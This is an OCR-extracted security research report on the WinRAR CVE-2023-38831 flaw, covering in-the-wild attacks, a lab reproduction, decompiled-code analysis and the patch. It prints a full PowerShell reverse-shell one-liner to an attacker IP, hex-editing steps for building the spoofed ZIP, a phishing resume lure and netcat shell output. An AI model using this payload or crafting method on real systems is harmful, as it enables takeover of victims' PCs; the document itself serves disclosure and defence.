Research & Technique

WINRAR Arbitrary Code Execution vulnerability (CVE-2023-38831)

B Outline of the vulnerability

In August 2023, the CVE-2023-38831 vulnerability, which can execute arbitrary codes in WinRAR®
6.22 or lower, RARLAB's file compression and decompression software for Windows OS, was
disclosed. This vulnerability leads to the alternative execution of malware when normal documents
are executed in normal document files with modified extensions and ZIP files containing malware.

Exploiting this, attacks targeting cryptocurrency and stock traders were recently discovered on a
number of sites, including a cryptocurrency forum. When a trader accesses the link to the compressed
file distributed by the attacker and run the bait file, the malicious program infects the trader's device
and withdraws stolen funds from the victim's account. To date, it has been revealed that at least 130
devices have been infected and suffered damage.

:rtacr::l;r::lv:n9123 (OP) b :;z:;n:;;:;::r;;l Strategy to trade with bitcoin Malicious compression file link it
2
O Online Hello everyone, nice to join you on this forum, believe it or not, | would liké to show you how this year many
people could make a high income thanks to bitcoin, trying to better ejjlain my theory | want to attach my
Activity: 0 concept of the market trend here}htips://files.catbox.moe/a6im8a.rarl(these are the methods that | use it to
Merit: 0 study the market) and | have to tell you that based on past years, | think it should be very profitable to invest in

bitcoin this year but I'm still waiting for your opinions, in any case if anyone has any tips for me let me know, I'm
new on this forum but | have been dealing with trading for many years, thank you for your attention.

&

*Source: group—ib

Figure 1. A malicious post uploaded as “my best Personal Strategy to trade with bitcoin”

Also, as the cyber war between Russia and Ukraine intensified, a case was discovered in which
“GhostWriter (aka UAC-0057 or UNC1151),” one of the hacking organizations targeting Ukraine,
attacked using the CVE-2023-38831 vulnerability. This organization targeted Ukraine and executed
malware that it intentionally inserted using war—related link files as baits.
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Computer Emergency Response Team of Ukraine

About CERT-UA | News | Recommendations | Contactus | Contacts A Y | N\N| Q Search | B InEnglish |

Main News

Cyberattack UAC-0057: Exploit for CVE-2023-38831,
PicassoLoader JavaScript variant, Rabbit algorithm, and
Cobalt Strike Beacon (CERT-UA#7435)

*Source: CERT-UA

Figure 2. Official post of the Ukraine CERT team

RARLAB estimates that there are currently more than 500 million WinRAR users worldwide. The
CVSS score of the CVE-2023-38831 vulnerability was 7.8, but WinRAR is widely used, and it is

relatively easier to attack than other CVEs!.

I CVE (Common Vulnerabilities and Exposures): List of publicly known computer security flaws
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: H 4 R‘“E“‘B ®
WinR4R®
WIinRAR 6.23

Compress, Encrypt, Package
and Backup with only one utility

[With over 500 million users worldwide, WinRAR]is the world’s most popular compression tooll

There is no better way to compress files for efficient and secure file transfer. Providing fast email transmission
and well-organized data storage options, WinRAR also offers solutions for users working in all industries and
sectors.

WInRAR is a powerful archiver extractor tool, and can open all popular file formats.

RAR and WinRAR are Windows 11™ and Windows 10™ compatible; available in over 50 languages and in both
32-bit and 64-bit; compatible with several operating systems (0OS), and it is the only compression software that
can work with Unicode.

*Source: RARLAB
Figure 3. Official WinRAR site
For this reason, this vulnerability is easy to utilize in combination with other attacks. For example, if

used in an attack in conjunction with ransomware, it can cause significant damage. Therefore, users
need to pay special attention to it.
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B Affected software versions

WinRAR versions vulnerable to CVE-2023-38831 are as follows:
S/W type Vulnerable versions

WinRAR All versions below WinRAR 6.22

B Attack scenario

The attack scenario using the CVE-2023-38831 vulnerability is as follows:

infosec
@® Create ZIP with a malicious script inserted ® Download the malicious ZIP file to the victim’'s

II @ Distribute malicious ZIP by mail

WinRAR'

S

N

N

Ninlm

@ Open the spoofed document in the malicious ZIP file through WinRAR

® Steal important information by taking over the victim’s PC

Figure 4. CVE-2023-38831 attack scenario

® The attacker creates a ZIP file with the malicious script, causing the CVE-2023-38831 vulnerability, inserted.
@ The attacker distributes the created malicious ZIP file through mail/bulletin board/messenger.

® The victim downloads the distributed ZIP file to the PC.

@ The victim opens the downloaded malicious ZIP file with a vulnerable version of WinRAR.

® When the victim opens the document in the ZIP file to which extension spoofing? is applied, the malicious script
inserted by the attacker is executed.

® The attacker takes over the victim’s PC through the malicious script, and steals important internal information.

2 Extension Spoofing: An attack technique that hides the actual format of a file and disguises it as another file by manipulating the file

extension
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W Test environment configuration information

Build a test environment and look at the operation process of CVE-2023-38831.

Name IP Information
Windows 10 Pro 22H2
Victim 192.168.0.2 ‘
WiInRAR 6.22
Attacker 192.168.0.9 Windows 10 Pro 22H2
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B Vulnerability test

Step 1. Configure environment

1) Download the WinRAR 6.22 version with the CVE-2023-38831 vulnerability to the victim's PC.

Download Address

https://www.win-rar.com/fileadmin/winrar-versions/winrar/winrar-x64-622.exe

n “ i _

< G & win-rar.com WinRAR download free and support: Post-Download ha % &8 B LOS DA

using this website, you consent to the use of

We want you to have the best possible experience whil ~ File download
)t to have cookies stored within your web-

cookies. For more detailed information regarding the ug

browser, please adjust your browser settings according Do you want to save this file?
AGREE

winrar-x64-622.exe 3.4 MB
C¥Userswk1210449%Downloads

Search |enter your search term here J

[] Do not ask again

Cancel Save as Open m

Thank you for downloading WinRAR. If your download doesn't start within 5 seconds: click here

Now get FREE WinRAR"® support for 40 days!*

Languagei English P

E-Mail*

Send

Note regarding Privacy Policy:
You will receive a confirmation email to the email-address entered above. It is necessary to enter a valid email-address! Solely your email address is mandatory for the subscription. All additional details

("This is the first time | download WinRAR") are only used to personalize the newsletter and to provide the newsletter in your preferred language

By filling out this form, you are signing up to receive special offers for WinRAR and other partner-products from us. By submitting this form you agree that win.rar GmbH electronically processes and
stores your data to provide you with the requested information. The information you provide will only be used for our intemal purposes. It will not be sold to any other organization. Please also read our

Consumer Protection Policy.

*Source: RARLAB

Figure 5. Downloading the WinRAR 6.22 version
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2) Install the downloaded WinRAR 6.22 version.

ﬂ Users (evaluation copy U

File Commands Tools Favorites Options Help

B oDmMie \ OB

Add ExtractTo  Test View  Delete Find  Wizard Info Repair

1 About WinRAR X v
Na

s @ RARLAB' [ oK |

| =R WinRAR® @ -

o U in |
2 || WinRaR 6.22 (54it) J ‘ Home page

| | Copyright ® 1993-2023 by L % :
| | Alexander Roshal !
1| | published by win.rar GmbH

40 days trial copy

- K9 Total 5 folders and 174 bytes in 1 file

Figure 6. Installing the WinRAR 6.22 version
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Step 2. Create a malicious ZIP file

1) The attacker prepares a normal document file (any file, including documents and images) and a

malicious script file to be used in the attack.

<« 2> v 4 > ThisPC > M EE& (D:) » ZIP_TEST v O £ Search ZIP_TEST
Name Date modified Type Size
resume.pdf — Normal Document File 9/5/2023 8:12 PM Hpdf Document 24 KB

/6/2023 12:51 PM Windows Batch File 1KB

w

script.bat —  Script File

Figure 7. Preparing the files to be included in the malicious ZIP file

The malicious script to be executed on the victim’s PC was the Reverse Shell® script.

Reverse Shell Script Address

https://github.com/swisskyrepo/PayloadsAllITheThings/blob/master/Methodology%20and%20Resources/Reverse%20
Shell%20Cheatsheet.md#powershell

The script connects a socket from the victim's PC to the attacker's server (192.168.0.9:4444) and
transmits the results of executing the command received from the attacker on the victim's PC to the

attacker.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient( 192.168.8.9",4444);%stream =
$client.GetStream();[byte[]]$bytes = B..65535|%{0};while(($i = $stream.Read($bytes, @,

fbytes.Length)) -ne B){;%data = (New-Object -Typelame System.Text.ASCIIEncoding).GetString(fbytes,8,
$i);%sendback = (iex $data 2>&1 | Out-String );$sendback? = $sendback + 'PS ' + (pwd).Path + "> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);%stream.Write(%sendbyte,d,$sendbyte. Length);
$stream.Flush()};%client.Close()"

Figure 8. Malicious script (script.bat)

3 Reverse Shell: A network shell that opens a connection through malware running on the target system to access and control it
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2) After creating a directory with the same name as a normal document file, move the malicious script
file to that directory and change the name to the same name as the document file. At this time, to use

extension spoofing, add a dummy letter ‘A’ or ‘B) to the end of all file names and directory names.

In Windows, file names and directory names cannot be the same. So, two dummy characters, ‘A" and

‘B’, were used to differentiate them. The list of configured files is shown below.

< => v A > ThisPC > MEZE(D:) » ZIP_TEST » v O O Search ZIP_TEST
-~
Name Date modified Type Size
-I resume.pdfB 9/12/2023 4:46 PM File folder
[ ] resume.pdfA —» Normal Document File 9/5/2023 8:12 PM PDFA File 24 KB
<« v « MEEZ(D:) » ZIP_TEST » resume.pdfB v 0 D Search resume.pdfB
Name Date modified Type Size
% [©] resume.pdfB.bat —» Script File 9/6/2023 12:51 PM Windows Batch File 1KB

Figure 9. Configuring a modified ZIP file to cause a vulnerability

3) Compress all configured files and directories into the ZIP file.

resume.pdfB 9/12/2023 4:46 PM File folder

|| resume.pdfA CoTemmmmm “=FA File 24 KB
ZIP_TESTzip2 2 2+=3t7|(Q)

ZIP_TEST.722 2=317|(7)

22t THY /B Y02 A=)
BICIELE Y=37|)..

Scan with Microsoft Defender...

& Share

B8 Addtoarchive...

Add to "resume.rar”

#8 Compress and email...

(OO0 0C0O

B3 Compress to "resume.rar” and email

Send to > 0 Bluetooth device
Cut ¢ Compressed (zipped) folder
Copy I Desktop (create shortcut)
5| Documents
Create shortcut .
=) Fax recipient
Delete . -
‘| Mail recipient
Rename
= DVD RW Drive (F:)
Properties ! [

Figure 10. Compressing with the ZIP file

EQST insight | 9



4) Open the created ZIP file with the hex editor (HxD)* and use the search function to search for

‘resume.pdf’, the name of the document file and directory.

0 HxD - [DAZIP_TEST\resume.zip] = m] X
2_9] File Edit Search View Analysis Tools Window Help - 8 X
IR B 3C RAHERG || Windows (ANSI) v | hex v
5 resume.zip Special editors x |
Offset (h) 09 OA 0B OC 0D OE OF Decoded text A | Data inspector
00005420 00 00 72 65 73 75 6D :sweawsEind resum
00005430 73 75 6D 65 2E e.pdfB} resume.pd 4404
00005440 63 65 {8l batcalc.exePK Binary (8 bit) 01110010 ~
00005450 00 ] S5TES 0% oo isWe' Int8 goto: [ 114
00005460 00 00 ¥ &S PN simereene Ulnt8 i
00005470 00 65 cron [ o resu gofo:
00005480 01 14 me.pdfEPK. ...... Int16 goto: 25970
00005490 00 s sxWEGW3OAcy s an Uint16 goto: 25970 v
00005440 00 20 00 00 ::cevissanss i 1eoe +——zreacan
00005480 7 7 €D 64 ..T..resume.pd{s] Byte order
000054C0 E 65 73 75 6D 65 2E 70 64 66 62 /zesume.pdiBl bat @) Little endian OB|g endian
000054D0 ( 00 00 00 02 00 02 00 00 R i /T
000054E0 4E 54 00 00 00 00 . L v [[J Hexadecimal basis (for integral numbers)
? Checksum Search (5 hits)
=
1 Offset Excerpt (hex) Excerpt (text)
5428 334AEC6308000000080000001B00000072 6573 756D 652E706466422F72657375 <3| R— resume.pdfB/resu
5437 1B 000000 726573 756D 65 2E 70 64 66 42 2F 72 65 73 75 6D 65 2E 70 64 66 42 2E 62 61 74 63 ...resume.pdfB/resume.pdfB.batc
547C 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 72 65 73 75 6D 65 2E 70 64 66 41 50 4B 01 02 14 ..resume.pdfAPK...
54B5 0000000000000100200000000D540000726573756D 652E706466422F72657375 T..resume.pdfB/resu
54C1 0D 540000726573 756D 65 2E 70 64 66 42 2F 72 65 73 75 6D 65 2E 70 64 66 42 2E 62 61 74 50 .T..resume.pdfB/resume.pdfB.batP
X
Offset(h): 54C1 Block(h): 54C1-54CA Length(h): A Overwrite

Figure 11. Search for data to be altered through the hex editor

* Hex editor (HxD): A tool to edit and analyze binary data with a hexadecimal editor that can be used in Windows
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5) Change all dummy characters added at the end of the searched document file and directory name

to spaces (0x20) and save to complete the malicious ZIP file.

0 HxD - [DAZIP_TEST\resume.zip] - O X
ﬁ] File Edit Search View Analysis Tools Window Help - 8 X
BIEAASIE BN RN || Windows (ANSI) || hex v|
5 resume.zip Special editors x ,
Offset (h) 00 01 02 03 04 05 06 07 08 09 OA 0B OC OD OE OF Decoded text A | Data inspector
00005420 08 2 | 00 T3: 78 6D GaieisEes o g resum
00005430 64 7 73 2E 70 64 e.pdf] Jresume.pd 44 kb
00005440 62 61 6C 63 €5 50 43 f |batcalc.exePX Binary (8 bit) 01111010 A
00005450 00 00 08 00 57 F8 27 .cocsvencas itWe' Int8 goto: 122
00005460 53 SC 00 00 00 00 00 ¥ &5.. PN sawaes Uinte to: 122
00005470 00 00 00 00 €65 73 75 es seesase resu gofo:
00005480 70 50 4B 01 14 00 00 me.pdfFK....... Int16 goto: -134
00005490 76 33 4A EC 00 00 08 .vE&W3Jic..... Uint16 goto: 65402 v
00005440 1B 00 00 00 00 00 0O 20 00 00 .. icocsmsnvale .o 28, . AN
00005480 00 00 72 65 73 75 €D 64 ..T..resume.pdf | Byte order
000054C0 73 75 6D 65 2E 70 64 62 74 /resume.pdf] |bat @) Little endian O Big endian
000054D0 06 00 00 00 00 02 00 00 00 00 PK: oo vivim siussw e
000054E0 4E 54 00 00 00 00 NT. v [[J Hexadecimal basis (for integral numbers)
? Checksum Search (5 hits)
==
§ Offset Excerpt (hex) Excerpt (text)
5428 334AEC6308000000080000001B000000726573756D 652E706466202F72657375 ) [T resume.pdf /resu
5437 1B 000000726573 75 6D 65 2E 70 64 66 20 2F 72 65 73 75 6D 65 2E 70 64 66 20 2E 62 61 74 63 ...resume.pdf /resume.pdf .batc
547C 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 72 65 73 75 6D 65 2E 70 64 66 20 50 4B 01 02 14 ..resume.pdf PK...
54B5 00 00 00 00 00 00 01 00 20 00 00 00 0D 54 00 00 72 65 73 75 6D 65 2E 70 64 66 20 2F 726573 75 T..resume.pdf /resu
54C1 0D 54 00 00 72 65 73 75 6D 65 2E 70 64 66 20 2F 72 65 73 75 6D 65 2E 70 64 66 20 2E 62 61 74 50 .T..resume.pdf /resume.pdf .batP
X
Offset(h): 53BF * Modified * Overwrite

Figure 12. Replacing dummy characters with spaces
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Step 3. Distribute the malicious ZIP file

The attacker distributes the created malicious ZIP file to the victim and induces him/her to download

it.

Subject: Submission of Resume FLEA|T x

m Gildong Hoeng <honghong0%03@gmail.com:
Hello. My name is Hong Gil-deng, and | am applying to EQST.

| am sending my resume and supporting documents compressed,

Thank you very much.
Sincerely

Attachment 1 ©

B resume.zip

Figure 13. Distributing the malicious ZIP file
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Step 4. WinRAR vulnerability occurs through a malicious ZIP file

When the victim opens the downloaded malicious ZIP file with a vulnerable version of WinRAR and
executes the compressed document file (reseume.pdf), the reverse shell script inserted by the attacker
is executed at the same time. More details about this are explained in the detailed analysis of

vulnerability.

D:\Resume>powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.0.9',4444);$stream = $client.Ge
tStream() ; [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, ©, $bytes.Length)) -ne 8){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,®, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $s
endback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,®,
$sendbyte.Length); $stream.Flush()};$client.Close()"

nmands

Extract To Test View Delete Find Wizard Info VirusScan  Comment

I
‘M‘E‘D resume.zip - ZIP archive, unpacked size 24,354 bytes

Size Packed Type Modified
File folder
.p 549 345 File folder
23,805 21476 File 9/5/20238:12PM  SFAS27F8

= K9 Selected 1file, 23,805 bytes Total 1 folder, 1 file, 24,354 bytes

Figure 14. Executing the malicious script due to the WinRAR vulnerability

Step 5. Take over the victim’s PC

The attacker takes over the PC by hijacking command control rights from the victim’s PC where the

reverse shell script is executed.

PS D:\Tools\netcat-win32-1.12> .\nc.exe iviviviy

listening on [any] duuy

connect to [192.168.0.9] from host.docker.internal [192.168.0.2] 63746
PS D:\Resume> ipconfig

Windows IP Configuration

Ethernet adapter O| G 4l:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::6a8e:2863:ed0:Ucff%2
IRV AdOTessS. <« . e . e e e s e S13192.168.0.2

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.60.1

Figure 15. Acquiring the victim’s PC shell
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W Detailed analysis of vulnerability

Step 1) Background knowledge

To understand the CVE-2023-38831 vulnerability, you must understand the process of direct
execution of WinRAR's compressed file and the characteristics of ShellExecuteExW?, a file execution

function.

1) How WinRAR works

If you open a malicious ZIP file with WinRAR and directly run the compressed file within it, the file

”»

will be compressed temporarily. During temporary decompression, a directory in the form of “Rar$DI

is created in the “%Temp% " path.

char _ fastcall tmp_unzip2 sub_7FF79D8AF5@8(__int64 al, _ int64 a2, _ int64 a3, _ int64 a4)
{

char result; // al

__int64 v8; // rcx

char v9; // bl

wchar_t *v10; // rdi

__int64 vi1; // ris

unsigned int i; // ril4d

int v13; // ebx

char v14[4112]; // [rsy

char v15[4112]; //

__int64 v16; // [rs

__int64 v17; // [rspd
64 v18; // [rs
char [4@96]; //

char v2e[4@96]; // [rs

int

LOBYTE (a4) = 1:
result =|sub_7FF79D8A7F34(L"Rar$DI”, 19, 2048i64, a4); |
if ( result

LOBYTE(v3) = 1;
cuh FEETANRAICNC 2N .

Figure 16. Creating a temporary directory for WinRAR decompression

> ShellExecuteExW: This is a function that executes another program in Windows and performs related tasks. It is used for tasks such as

executing external application programs and opening files
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After checking whether a file with the same name as the executed file exists in the ZIP file, if the
corresponding file exists, decompress it using the decompression algorithm and save it in a temporary
directory. When executing the compressed 2.png file, you can see that a temporary folder is created

and the file is decompressed as shown below.

pDirectory of C:\Users\IJJNII\ AppData\Local\Temp\Rar$DIa2uu8e.26674

09/26/2023 ©6:19 PM <DIR>
09/26/2023 06:19 PM <DIR>

09/26/2023 06:19 PM 20,724 2.png
1 File(s) 20,724 bytes
2 Dir(s) 560,503,847,936 bytes free

Figure 17. File decompression to be performed for the temporary folder

Then, the decompressed file is executed using ShellExecuteExW, the file execution function of WinAPL

.lpParameters = a4;
5 0 ( t WCHAR *)sub_7FF79D856754(a2) == a2 && !(unsigned _ int8)sub_7FF79D854B74(a2, L"exe") )
r
1
sprintf_s(Bu » 9x1000uibd, L".\\Xs", > ¥ (_QWOF )& .cbSize);
.1pFile = (LF TR) H
}
.nShow = 1;
byte 7FF79D94A805 = 1;
=|ShellExecuteExh(& )ﬂ

Figure 18. Executing the decompressed file through the ShellExecuteExW function
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2) Characteristics of ShellExecuteExW

ShellExecuteExW is a WinAPI function used when executing a file. When a ShellExecute type function
executes a file without an extension, the extensions at the bottom are automatically added and

executed in order by the parsing logic that determines the execution path.

Figure 19. How it works described in ShellAPLh

The list of corresponding extensions is as follows:

Extension name

.PIF .COM .EXE .BAT .CMD

In the example below, when you run calcl.exe with an extension and calcl without an extension,

you can see that the calculator runs the same in both cases.

G C:\Windows\System32\cmd.e» X | |8
Calculator

Microsoft Windows [Version 10.06.196045.3324]

; : ? f Calculat
(c) 2019 Microsoft Corporation. All rights reserved. Scientific! G

D:\TEST>dir = Scientific
Volume in drive D is M 2 &
Volume Serial Number is E@BC-DD88

Directory of D:\TEST

09/07/2023 ©6:47 PM <DIR> .
09/07/2023 06:47 PM <DIR> P | M+ M- MS
12/07/2019 ©6:10 PM 26,112 calcl.exe 4} Trigonometry v |
1 File(s) 26,112 bytes i A Trigonometry »» [ Function v
2 Dir(s) 994,294,235,136 bytes free B n
% /s n
= 2
D:\TEST>calcl ' ! i
( X< Y
D:\TEST>calcl.exe = (
X
X
10°
og

D:\TEST>

In

Figure 20. Result of executing ‘calc]’ and ‘calcl.exe’
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Step 2) Analyze operation

When you execute the ZIP file (resume.zip) with the previously created extension spoofing applied

”»

through the vulnerable version of WinRAR, you can see a file and directory named “resume.pdf

with a space after the extension, as shown below.

| resume.zip (evaluation copy) = O X

File Commands Tools Favorites Options Help

Add Extract To Test View Delete Find Wizard Info VirusScan Comment SFX

T ’% resume.zip - ZIP archive, unpacked size 24,354 bytes v

~

Name Size Packed Type Modified CRC32
File folder
549 345 File folder
23,805 PARY(

resume.pdf

resume.pdf

9/5/2023 8:12 PM 5FA527F8

Spaces are included in the file extension and directory name

== 32 Selected 1 file, 23,805 bytes Total 1 folder, 1 file, 24,354 bytes

Figure 21. A compressed file to which extension spoofing is applied

When executing a modified document file, temporary decompression logic is executed for the file

named “resume.pdf . In the process of checking whether the executed filename “resume.pdf

exists, extension spoofing occurs because the file and directory names are the same.

»

Accordingly, files and directories of the same name are decompressed and even the “resume.pdf
document and the “resume.pdf .bat” script file contained in the “resume.pdf 7 directory are stored
in a temporary directory. During the decompression process, in the case of the “resume.pdf
document, the filename verification logic removes spaces through space verification for the last

character, and then saves it as “resume.pdf”.

for (i =al; ; ++i )
NI | I T | I T
{
for ( j=v2-1;3>80; --7)
{
if (alfj] ="' ")
if ( a1[j] !'=".") - ) .
break; [——=> Remove trailing white spaces from the file name
= al[j - 1];
if (v7 == "\\" || v7 = "/" || v7 == "."' 88 j ==1)
break;
, 2
}
al[v2] =
REEED)
break;
+v2;

Figure 22. Logic for removing spaces when saving a compressed file
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Therefore, you can see that both the original document file (“resume.pdf”) and the malicious script

file ("resume.pdf .bat”) have been decompressed, as shown below.

€« = v « Local » Temp > RarSDIa35352.47814 v O Search RarSDIa35352.47814
Name Date modified Type Size
t, resume.pdf 9/5/2023 8:12 PM Whale HTML Doc... 24 KB

(%] resume.pdf .bat 9/12/2023 5:37 PM Windows Batch File 1KB

Figure 23. Result of decompression due to extension spoofing

After temporary decompression is complete, “resume.pdf 7, the file executed through WinRAR, is
executed by the ShellExecuteExW function. As this function connects automatically without an

extension, the “resume.pdf .bat” script file is executed and the malware goes to work.
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B Countermeasures

Currently, all versions of WinRAR 6.22 and below are vulnerable to attacks utilizing CVE-2023-
38831. To respond to this, RARLAB released a patch version in August 2023, and recommends

existing users to use it after updating to the latest WinRAR version.

The released patch version does not have a significantly different operational flow from the existing
vulnerable version, but filename and directory name verification has been strengthened during the
temporary decompression process. When a compressed file is executed in the vulnerable version and

the patch version, the results of temporary decompression are compared as follows:

In the vulnerable version, the following is the result of temporary decompression when a document is

executed in a modified ZIP file.

< v N « Temp > RarSDIa192344.9868 v 0 Search RarSDIa192344.9868
Name Date modified Type Size
f, resume.pdf 9/5/2023 8:12 PM Whale HTML Doc... 24 KB

(%] resume.pdf .bat \ 9/12/2023 5:37 PM Windows Batch File 1KB

Temporary decompression result of the vulnerable version

2 items 2 items selected 23.7 KB =1

Figure 24. Result of temporary decompression of the vulnerable version

The result of the patch version is as follows:

< v « Temp > RarSDIa17300.19792 v | O Search RarSDIa17300.19792

~

Name Date modified Type Size

t, resume.pdf \ 9/5/2023 8:12 PM Whale HTML Doc...

Temporary decompression result of the patch version

24 KB

litem  1item selected 23.2 KB ==

Figure 25. Result of temporary decompression of the patch version

During temporary decompression, in the vulnerable version, even the malicious script (.bat) was
decompressed due to the filename to which extension spoofing was applied, but in the patch version,

only the document file was decompressed properly due to strengthened filename verification.
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WinRAR has no logic to force update within the program, and update—related messages are only

announced on the first run after installation. So, users should pay more attention to version updates.

B8 WinRAR 6.22 First Use Notification | Thank you for using WinRAR! - (] X

Thank you for using WinRAR!

Before you continue, please buy a WinRAR perpetual license to support the further
development and customer support we have provided to our users for the past 20 years.

WInRAR is not a free software.

What you get for registering WinRAR: For new users we have a

one time offer
to save 30% on WinRARI
\/ Perpetual license

\/ Ready for Windows 11 : E
v Full RAR and ZIP Support You pay: $ 22 - 3 3

\/ Safe AES-256-bit
encryption

Act now, this is 2 one time offer!

If you want to support the continuous development of WinRAR, please purchase your kcense at www win-rarcom

SECURITY WARNING!
You may be at risk. Click here to update your version of WinRAR!

*Source: RARLAB

Figure 26. Messages related to WinRAR version update
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B Reference sites

- URL:

- URL:

- URL:

- URL:

- URL:

- URL:

https://www.win—rar.com/start.html?&L=0
https://www.group—ib.com/blog/cve—2023-38831-winrar—zero—day/
https://github.com/b1tg/CVE-2023-38831-winrar—exploit
https://github.com/BoredHackerBlog/winrar_ CVE—-2023-38831_lazy_poc
https://github.com/swisskyrepo/PayloadsAllTheThings

https://cert.gov.ua/article/5661411
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